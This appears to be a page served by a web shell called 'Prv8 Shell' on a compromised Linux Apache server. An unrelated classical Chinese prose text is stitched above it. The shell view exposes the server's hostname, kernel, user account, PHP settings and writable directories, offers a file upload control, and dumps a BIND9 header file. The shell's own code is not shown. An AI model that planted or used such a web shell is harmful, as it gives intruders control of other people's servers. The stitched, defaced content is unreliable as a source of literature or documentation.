晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/include/bind9/isc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/include/bind9/isc/resource.h
/*
 * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 *
 * This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, you can obtain one at https://mozilla.org/MPL/2.0/.
 *
 * See the COPYRIGHT file distributed with this work for additional
 * information regarding copyright ownership.
 */


#ifndef ISC_RESOURCE_H
#define ISC_RESOURCE_H 1

/*! \file isc/resource.h */

#include <isc/lang.h>
#include <isc/types.h>

#define ISC_RESOURCE_UNLIMITED ((isc_resourcevalue_t)UINT64_MAX)

ISC_LANG_BEGINDECLS

isc_result_t
isc_resource_setlimit(isc_resource_t resource, isc_resourcevalue_t value);
/*%<
 * Set the maximum limit for a system resource.
 *
 * Notes:
 *\li	If 'value' exceeds the maximum possible on the operating system,
 *	it is silently limited to that maximum -- or to "infinity", if
 *	the operating system has that concept.  #ISC_RESOURCE_UNLIMITED
 *	can be used to explicitly ask for the maximum.
 *
 * Requires:
 *\li	'resource' is a valid member of the isc_resource_t enumeration.
 *
 * Returns:
 *\li	#ISC_R_SUCCESS	Success.
 *\li	#ISC_R_NOTIMPLEMENTED	'resource' is not a type known by the OS.
 *\li	#ISC_R_NOPERM	The calling process did not have adequate permission
 *			to change the resource limit.
 */

isc_result_t
isc_resource_getlimit(isc_resource_t resource, isc_resourcevalue_t *value);
/*%<
 * Get the maximum limit for a system resource.
 *
 * Notes:
 *\li	'value' is set to the maximum limit.
 *
 *\li	#ISC_RESOURCE_UNLIMITED is the maximum value of isc_resourcevalue_t.
 *
 *\li	On many (all?) Unix systems, RLIM_INFINITY is a valid value that is
 *	significantly less than #ISC_RESOURCE_UNLIMITED, but which in practice
 *	behaves the same.
 *
 *\li	The current ISC libdns configuration file parser assigns a value
 *	of UINT32_MAX for a size_spec of "unlimited" and ISC_UNIT32_MAX - 1
 *	for "default", the latter of which is supposed to represent "the
 *	limit that was in force when the server started".  Since these are
 *	valid values in the middle of the range of isc_resourcevalue_t,
 *	there is the possibility for confusion over what exactly those
 *	particular values are supposed to represent in a particular context --
 *	discrete integral values or generalized concepts.
 *
 * Requires:
 *\li	'resource' is a valid member of the isc_resource_t enumeration.
 *
 * Returns:
 *\li	#ISC_R_SUCCESS		Success.
 *\li	#ISC_R_NOTIMPLEMENTED	'resource' is not a type known by the OS.
 */

isc_result_t
isc_resource_getcurlimit(isc_resource_t resource, isc_resourcevalue_t *value);
/*%<
 * Same as isc_resource_getlimit(), but returns the current (soft) limit.
 *
 * Returns:
 *\li	#ISC_R_SUCCESS		Success.
 *\li	#ISC_R_NOTIMPLEMENTED	'resource' is not a type known by the OS.
 */

ISC_LANG_ENDDECLS

#endif /* ISC_RESOURCE_H */

haha - 2025